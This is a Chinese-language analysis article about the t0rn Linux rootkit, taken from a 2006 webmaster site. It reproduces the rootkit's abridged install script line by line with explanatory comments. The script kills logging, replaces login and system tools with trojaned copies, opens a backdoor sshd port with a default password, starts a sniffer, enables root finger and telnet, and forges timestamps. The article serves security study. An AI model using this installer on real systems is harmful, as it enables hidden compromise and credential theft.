动网论坛,站长建站首选,国内使用量最多的论坛软件 动网论坛官方技术讨论区 站长工具 申请属于您自己的免费论坛
首页 | 新闻资讯 | 网站运营 | 网络编程 | 数据库 | 服务器 | 网页设计 | 图像媒体 | 网络应用 | 搜索优化 | 资源下载 | 动网主机 | DVBOX
    本站内  互联网 ASP论坛  ASP.Net论坛  PHP论坛
   网络应用 → 阅读文章

 Rootkit分析(2)

作者:郁郁小蝎 来源:中国站长学院 
阅读 数 242 人次 , 2006-2-16 14:02:00 

t0rn的执行流程

在t0rn rootkit所有的文件中,t0rn脚本是整个rootkit的枢纽,因此我们将详细介绍一下这个脚本的执行流程,这个脚本里面有很多噱头,我对其进行了删减,下面的代码是修改之后的代码。你可以从t0rn的发布包中获得其完整的代码。


#!/bin/sh

killall -9 syslogd
#杀死syslogd,以免在日志中留下记录。

bla2=`pwd`
#记录起始目录,以便安装完成后,从这个目录删除。

if [ "`grep in.inetd /etc/rc.d/rc.sysinit`" ]; then
echo "t0rnkit probably installed on machine [Alert]"
else
echo ""
fi
#检查是否系统中已经安装了t0rn rootkit

SYSLOGCONF="/etc/syslog.conf"
REMOTE=`grep -v "^#" "$SYSLOGCONF" | grep -v "^$" | grep "@" | cut -d '@' -f 2`
#检测系统日志是否被记录到其它主机。

if test -n "$1" ; then
echo "Using Password :"
cd $bla2
./pg $1 > /etc/ttyhash
else
echo "No Password Specified, using default - t0rnkit"
./pg t0rnkit >/etc/ttyhash
fi
#检查用户是否设置密码,如果用户没有设置密码,就使用t0rnkit作为密码。使用pg对密码进行加密,保存为/etc/ttyhash。

if test -n "$2" ; then
tar xfz ssh.tgz
echo "Port $2" >> .t0rn/shdcf
echo "3 $2" >> dev/.1addr
cat .t0rn/shdcf2 >> .t0rn/shdcf ; rm -rf .t0rn/shdcf2
else
tar xfz ssh.tgz
echo "Port 47017" >> .t0rn/shdcf
echo "3 $2" >> dev/.1addr
cat .t0rn/shdcf2 >> .t0rn/shdcf ; rm -rf .t0rn/shdcf2
fi
#解压ssh.tgz文件。检查用户是否设置了sshd使用的后门端口,如果没有设置就使用47017作为默认的后门端口。把端口号记录到dev/.1addr文件,并加入到.t0rn/shdcf文件中。最后把.t0rn/shdcf2中的默认设置填加到.t0rn/shdcf文件中,将其删除。

touch -acmr /bin/login login
#修改木马login的时间戳,使其和系统原来的login相同
./sz /bin/login login
mv -f /bin/login /sbin/xlogin
mv -f login /bin/login
chmod 4555 /bin/login
#用木马login程序替换原来的login,并把真正的login保存为/sbin/xlogin。

mkdir -p /usr/src/.puta/
mkdir -p /usr/info/.t0rn/
cp dev/.1addr /usr/src/.puta/
cp dev/.1file /usr/src/.puta/
cp dev/.1logz /usr/src/.puta/
cp dev/.1proc /usr/src/.puta/

mv .t0rn/sh* /usr/info/.t0rn/
mv /usr/info/.t0rn/sharsed /usr/sbin/nscd
/usr/sbin/nscd -q
echo "# Name Server Cache Daemon..">> /etc/rc.d/rc.sysinit
echo "/usr/sbin/nscd -q" >> /etc/rc.d/rc.sysinit
#在系统中加入一个nscd程序,并使其每次系统启动时,自动运行。nscd主要用于为DNS或者NIS提供高速缓存服务,以加快访问速度。这一步做的不是很小心:)

touch -acmr /sbin/ifconfig ifconfig
touch -acmr /bin/ps ps
touch -acmr /usr/bin/du du
touch -acmr /bin/ls ls
touch -acmr /bin/netstat netstat
touch -acmr /usr/sbin/in.fingerd in.fingerd
touch -acmr /usr/bin/find find
touch -acmr /usr/bin/top top
#修改木马ps/top/du/ls/netstat/in.fingerd的时间戳特性

mv -f in.fingerd /usr/sbin/in.fingerd
mv -f ps /bin/ps
mv -f ifconfig /sbin/ifconfig
mv -f du /usr/bin/du
mv -f netstat /bin/netstat
mv -f top /usr/bin/top
mv -f ls /bin/ls
mv -f find /usr/bin/find
#使用特洛伊木马程序替换系统原来的程序。

cd $bla2
mv t0rns /usr/src/.puta/t0rns
mv t0rnp /usr/src/.puta/t0rnp
mv t0rnsb /usr/src/.puta/t0rnsb
cd /usr/src/.puta
./t0rns
#把嗅探器程序t0rns,语法分析程序t0rnp和日志清理程序t0rnsb复制到其工作目录,然后启动嗅探器程序t0rns。

sed "s/^#telnet/telnet/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.conf /tmp/.pinespool; mv -f /tmp/.pinespool /etc/inetd.conf
sed "s/^#shell/shell/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.conf /tmp/.pinespool ;mv -f /tmp/.pinespool /etc/inetd.conf
sed "s/^# telnet/telnet/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.conf /tmp/.pinespool; mv -f /tmp/.pinespool /etc/inetd.conf
sed "s/^# shell/shell/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.conf /tmp/.pinespool ;mv -f /tmp/.pinespool /etc/inetd.conf
sed "s/^#finger/finger/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.conf /tmp/.pinespool; mv -f /tmp/.pinespool /etc/inetd.conf
sed "s/^# finger/finger/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.conf /tmp/.pinespool; mv -f /tmp/.pinespool /etc/inetd.conf
sed '/finger/s/nobody/root/g' /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.conf /tmp/.pinespool; mv -f /tmp/.pinespool /etc/inetd.conf
#修改/etc/inet.conf文件,使inet能够提供telnet、shell和finger服务,并且将finger的运行权限由nobody改为root,在改动过程中维持/etc/inet.conf文件的时间戳特性。


killall inetd
/usr/sbin/inetd
#重新启动inetd,使修改的设置生效。

cd $bla2
cd ../
rm -rf tk*
#打扫战场,删除原来的东西。

if [ -f /usr/sbin/syslogd ] ; then
/usr/sbin/syslogd
else
/sbin/syslogd
fi
#重新启动syslogd
  
 
 收藏本文  打印本文  论坛讨论  关闭窗口
· 上一篇:Rootkit分析(1)
· 下一篇:Rootkit分析(3)
· 使用备份工具保护Exchange 2003
· 彻底玩转Windows Update
· 构筑网络的安全长城 “扫描器”全接触
· Qmail邮件队列工作原理
· FTP命令大全


关于本站 | 联系我们 | 业务合作 | 客户案例 | 诚聘英才 | 广告合作 | 收藏本站
海口动网先锋网络科技有限公司版权所有
Copyright © 2000 - 2006 Cndw.Com
中华人民共和国电信与信息服务业务经营许可证编号 琼 ICP 020077